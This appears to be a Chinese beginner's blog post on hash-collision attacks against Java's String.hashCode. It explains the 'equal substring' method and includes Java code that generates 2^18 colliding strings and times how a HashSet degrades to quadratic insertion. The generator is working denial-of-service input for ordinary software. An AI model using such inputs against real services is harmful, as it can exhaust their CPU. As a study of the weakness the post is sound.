最近开始学Java,就顺便研究了下Java下的哈希冲突攻击,发现它的String类存在明显可用的攻击方法,就干脆测试了一下,下面简单介绍一下。
Hash冲突的原理其实很简单,当使用Hash表实现的集合来存储元素时(如Java的HashSet、HashMap,C++的unordered_set、unordered_map等),不必可免的会造成多个元素的Hash值相同,即出现冲突,当发生冲突时,有多种方法来进行处理,如线性探测再散列、二次探测再散列、再哈希和链地址法等等。其中用的最多的处理方法是链地址法,如图1所示。
链地址法将Hash值相同的元素用链表连接起来。至于为什么这种冲突处理方法用的最多,设装填因子a=哈希表已有元素数/哈希表长度,则每次查找成功时,平均查找长度如下:
画下函数图像可以发现链地址法的平均查找长度是最小的。
使用Hash表作为存储元素的集合时,必须用到Hash函数,我们希望Hash函数能将各个元素哈希后的值分布尽可能均匀,这样查找速度才快,而Hash冲突攻击的原理就是根据Hash函数,构造大量具有相同Hash值的元素,将其插入至表中,使得Hash表最终退化成一个单链表。
而Java中的String类的hashcode函数写得十分简单,它的计算公式为(其中s即为字符串):
这个函数实际上就是BKDR Hash函数,其中的因子31也可以换成13,131等等……
但对于这种Hash函数,可以使用“相等子串法”来构造哈希值相同的大量元素。使用“相等子串法”的Hash函数必须满足如下条件:若两个不同字符串的哈希值相同,即有f(str1) == f(str2),则必有f(prefix + str1 + suffix) == f(prefix + str2 + suffix),即在str1和str2的前后放置相同的字符串后,所得新的两个字符串的哈希值仍然相等。而BKDR Hash就满足这种性质。
例如“Af”和“BG”哈希值相同,则有“AfAf”,“AfBG”,“BGAf”,“BGBG”的哈希值也相同。
下面这段代码是演示String类的Hash冲突,其生成了2^18个具有相同Hash值的字符串,并将其依次拷贝到ArrayList,TreeSet和HashSet集合中,理论上若元素随机的话,应该速度顺序是ArrayList > HashSet > TreeSet,但由于Hash冲突,实际拷贝时三者的时间复杂度会变成O(n),O(nlogn)和O(n^2),即HashSet变成最慢。
我这的测试环境为:CPU i5 4570,内存8G,Win7 x64,JDK7u45,IntelliJ IDEA 13。
测试结果为:ArrayList耗时1ms,TreeSet为121ms,而HashSet则需604071ms。Hash冲突攻击成功。
测试代码如下所示(初写Java,请无视我写得太渣吧…)。
public class Demo { public static void main(String[] args) { ArrayList<String> arrRet = new ArrayList<String>(); StrCollide col = new StrCollide(); col.Generate(arrRet, 18); // 测试速度 Date begTime = new Date(); ArrayList<String> ArrCandidate = new ArrayList<String>(arrRet); Date endTime = new Date(); System.out.println("The Time of ArrayList insertion is : " + (endTime.getTime() - begTime.getTime())); begTime = new Date(); TreeSet<String> TreeCandidate = new TreeSet<String>(arrRet); endTime = new Date(); System.out.println("The Time of TreeSet insertion is : " + (endTime.getTime() - begTime.getTime())); begTime = new Date(); HashSet<String> HashCandidate = new HashSet<String>(arrRet); endTime = new Date(); System.out.println("The Time of HashSet insertion is : " + (endTime.getTime() - begTime.getTime())); } } class StrCollide { /** * @param Set 存储具有相同HashCode值的String变量 * @param n 集合内元素个数,单位为幂 * @return 操作是否成功 * @description 为String变量构造Hash冲突,并将结果存储在集合中 **/ public boolean Generate(Collection<String> Set, int n) { if (Set == null || n < 1) return false; // 寻找两个Hash值相同的String Set.clear(); ArrayList<String> ArrPair = FindColPair(); if (ArrPair != null && ArrPair.size() >= 2) { for(int iNum = 0; iNum < Math.pow(2, n); ++iNum) { String strTmp = Integer.toBinaryString(iNum); strTmp = String.format("%0" + n + "d", new BigInteger(strTmp, 10)); strTmp = strTmp.replaceAll("0", ArrPair.get(0)); strTmp = strTmp.replaceAll("1", ArrPair.get(1)); Set.add(strTmp); } return true; } return false; } /** * description 寻找最初的两个Hash值相同的String变量 * * @return 存储这两个String的集合 **/ private ArrayList<String> FindColPair() { ArrayList<String> ArrRet = new ArrayList<String>(); HashMap<Integer, String> mapTmp_ori = new HashMap<Integer, String>(); HashMap<Integer, String> mapTmp_add = new HashMap<Integer, String>(); mapTmp_ori.put(0, ""); while (true) { // 遍历源集合 mapTmp_add.clear(); mapTmp_add.putAll(mapTmp_ori); for(Map.Entry<Integer, String> elem : mapTmp_ori.entrySet()) { for(char ch = 48; ch <= 122; ++ch) { // 48-122是数字到字母的ASCII码范围 if(Character.isLetter(ch)) { String strTmp = ch + elem.getValue(); int hCode = strTmp.hashCode(); if(mapTmp_add.get(hCode) != null && !mapTmp_add.get(hCode).equals(strTmp)) { // 找到Hash值相同的两个String ArrRet.add(strTmp); ArrRet.add(mapTmp_add.get(hCode)); return ArrRet; } mapTmp_add.put(hCode, strTmp); } } } mapTmp_add.remove(0); // 交换两个集合 HashMap<Integer, String> tmp = mapTmp_ori; mapTmp_ori = mapTmp_add; mapTmp_add = tmp; } } }